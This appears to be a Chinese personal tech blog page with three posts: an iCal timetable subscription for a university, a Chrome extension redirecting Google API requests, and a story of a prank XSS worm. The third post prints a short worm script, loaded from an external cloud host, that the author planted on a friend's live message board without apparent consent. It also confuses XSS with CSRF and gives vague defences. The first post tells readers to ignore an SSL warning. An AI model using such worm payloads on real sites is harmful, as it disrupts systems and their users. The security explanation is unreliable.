给iOS自带日历📅添加课程表

cover-image

趁着新学期还没开学, 给大伙做了一套 iCal 格式的课表 Api, 利用 iOS 自带的「日历」App,配合「通知中心」的便利,来完成这一简单的需求:一个按时提醒、清晰展示于手机中的课程表。(Android/WP 也是可以支持的, 大家自己摸索233).

iOS的日历采用的是国际上的 iCal 标准, google calendar 和 微软的 outlook 也是支持的, 但是鉴于谷歌在国内的现状, 安卓能不能用还要看机器的ROM, WP的话谁有机器来试一试吧.

iCalendar是“日历数据交换”的标准(RFC 2445(5545))。 此标准有时指的是“iCal”,即苹果公司的出品的一款同名日历软件,这个软件也是此标准的一种实现方式。

看一下效果:

效果图

效果图

效果图



操作步骤只有简单几步, Steps:

1.打开设置,选择邮件、通讯录、日历

步骤1


2.点击添加帐户

步骤2


3.选择其他

步骤3


4.点击添加已订阅的日历

步骤4


5.输入日历地址:http://hongyan.cqupt.edu.cn/api/kebiao_ics?xh=2013214368 把这里的学号替换成你自己的学号, 并点击下一步

步骤5


6.出现无法使用SSL连接的提示, 忽略它, 点继续.

步骤6


7.菊花又转了一会, 点击右上角的存储就OK了

步骤7


对了忘记说了, 仅限重邮哟……

利用数字公司 CDN 解决 GoogleApi 无法访问的问题

cover-image
因为 google 被 GXW 屏蔽,所以很多运用了 fonts.googleapis 的网站都打开很慢,会直到加载 fonts.googleapis 超时才能打开网页。

根本的解决方法是在天朝下载谷歌的字体文件到本地,而不使用它的云服务,然而这显然是不现实的方法。

数字公司这回还是挺厚道的提供了常用前端公共库和谷歌公共库的代理服务,地址在下面

http://libs.useso.com/

我的方法是通过 Chrome 插件,将谷歌字体等链接替换成 360 的国内 CDN 链接, 解决 google 在中国访问时常抽风影响到了 google api 和一些公共服务.

之前尝试用搜索引擎寻找这样的插件,找到的却是一个半成品插件 googleapi2useso。为什么说是半成品呢,它用的方案是通过在文档加载完成的时候注入content_script来实现的。在谷娘的文档里提到,这样做 js 运行的时刻相当于window.onload事件发生的时刻。显然这个时候浏览器到 googleapi 的请求已经超时,也就是文档已经持续加载几十秒了,除非在这个加载过程中按下 ESC 键强制停止加载,不然这个脚本不会执行。

想起好多 chrome 插件的实现应该是可以实现在请求发出前拦截并修改 HTTP 头的,便到 Google 的开发者平台 https://developer.chrome.com/extensions/ 寻找 API (英文,需要Fan墙),也是花了挺久(英语捉鸡 TvT)找到了这个叫webRequest的东西,实现在下面,代码臭勿喷…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
chrome.webRequest.onBeforeRequest.addListener(callback,
{urls: ["<all_urls>"]},
["blocking"]
);

function callback(details){
var url = details.url;
var domain = url.match(/^(http|https)\:\/\/([a-zA-Z0-9\.\-])+/g);
var judge = domain && domain[0].match(/googleapis/g);

if(judge){
//for useso do not support https...
url = url.replace(/^https/, 'http').replace('googleapis', 'useso')
return {redirectUrl: url};
}
}

before
上面是使用之前的,下面是使用之后的效果
after

因为是第三方插件,所以安装方式是先下载 crx 文件,再打开 chrome 浏览器的扩展插件页面,把 crx 文件拖进去,最后点确定就行了。

crx插件下载

hey 接好了, 小王同学的XSS栗子

cover-image
又是一个神清气爽的假日上午, 慵懒地睡到12点自然醒的感觉真是舒服. 正准备起床刷个牙, 慢悠悠的去学校外面吃点好的~ 这个时候, QQ上收到了小王同学的求助消息:

  • 大婶, 帮个忙, ajax没法用了也0.0 (省略balabala代码一坨)
  • (爷还没起床呢, 哪凉快哪呆着去- -) 我先刷个牙, ~等会嘛
  • 好嘞

赖了会床, 洗漱完毕又顺带跟对门寝室搞了会ji之后, 于电脑前, 坐毕, 开始看小王童鞋发来的东西.

(我去, 这神马玩意儿, jQ 跟原生 js 各种搞基… 阅毕, 无法忍… )

(遂让小王同学给个网址过来慢慢品翔..)

  • hey, 大婶, 你要的地址
  • (啪, 一个公网地址飞了过来)

(输完回车的瞬间, 哔, 一个 Alert 吓了我一尿, 噢噢它告诉我我叫403号访客, 好吧..叫神马不要紧, 我从容地点了确定, 紧接着一个巨丑无比的网页出现了, 还是教务在线的味道, 还是上个世纪的配方!)

我定睛一看! 咦, 这里有一个错位的留言板也

留言板

hiahia. 那我就来帮你测测能不能留言呗

input-xss

刷新之后

alert

还真能留言! 熟悉的框框出现了(貌似泄露IP了0.0)

我们审查一下ajax部分的代码.

点击发送之后我们就来到了这个函数.

function

瞬间我就邪恶了→_→ 今天就来好好的调戏一下小王童鞋呗.

于是我啪啪啪在记事本里面敲下

1
2
3
4
window.onload = function () {
document.getElementById('message_input').value = "<script src='http://redrock.u.qiniudn.com/xss.js'></script>http://www.zeroling.com/喵″";
sendMessage();
}

并把这个文件命名为 xss.js 上传到云存储去.

万事具备只欠东风了喵.

引发这个XSS蠕虫就差一步:

在小王童鞋的留言板中输入 <script src='http://redrock.u.qiniudn.com/xss.js'></script>

然后跑到群里吼了一句

wcz

于是乎, 蠕虫出动了!

小王童鞋的站站立马就被玩坏了.

last

大家的浏览器争相向小王的服务器发送”留言”, 不久就看到了小王在群里抱怨电脑死机的事情0.0 (我没想到会死机的呀.)


##跨站脚本攻击
简单的说, 攻击者以你的浏览器发送恶意请求, 这些请求可以是恶意的, 比如发送文章, 邮件, 删除文章, 甚至购买商品, 盗取账号等等.

貌似这种攻击方式并少见, 但是危害不容小觑. 尤其是在当今 SNS2.0 时代, 大量用户盘踞的社交圈一旦爆出这种漏洞, 蠕虫就可以在短时间内疯狂蔓延, 使得整个社区充斥垃圾甚至诈骗信息.

####通俗一点的例子:
假设我有一个微博网站, 它有一个发私信的接口: http://myweibo.com/api/message?msg=balabala&to=bala, 这里的参数msg表示要发送的内容, to是要发送的对象.

正常情况下, 你登陆这个微博之后会得到一个Cookie, 而在进行发私信请求的时候, 这个Cookie会顺便被带上交给服务器, 服务器则通过这个Cookie来认证你, 如果正确就发送私信给别人.

OK, 一天一个黑客菊苣发现了这个微博网站的 XSS 漏洞, 他正好缺钱….

然后他就开始想歪主意, 他发了一篇有关波姐的微博(各种福利啊0.0), 然后在其中包含了漏洞利用的 payload.

于是小王同学(还是小李把)小李同学看到了这个微博, 漏洞被触发了, 黑客菊苣写的代码会让小李的浏览器以小李的名义(Cookie)转发这条微博并发送私信给小李的所有好友, 内容大概是

1
好哥们, 我最近遇到点balabala, ........, 打到我支付宝号上*******叭, 下礼拜一定还!

然后结果大概是, 黑客菊苣坐在黑暗的角落里面望着显示器露出邪恶的笑容→_→…

####如何避免

  1. 在表单里增加Hash值
  2. 验证码(貌似跟上面原理一致)
  3. 避免漏洞
  4. 各种高端的我也不懂啊T.T

想一想,当我们用鼠标在 Blog/BBS/WebMail 点击别人留下的链接的时候, 说不定一场精心准备的 XSS 攻击正等着我们.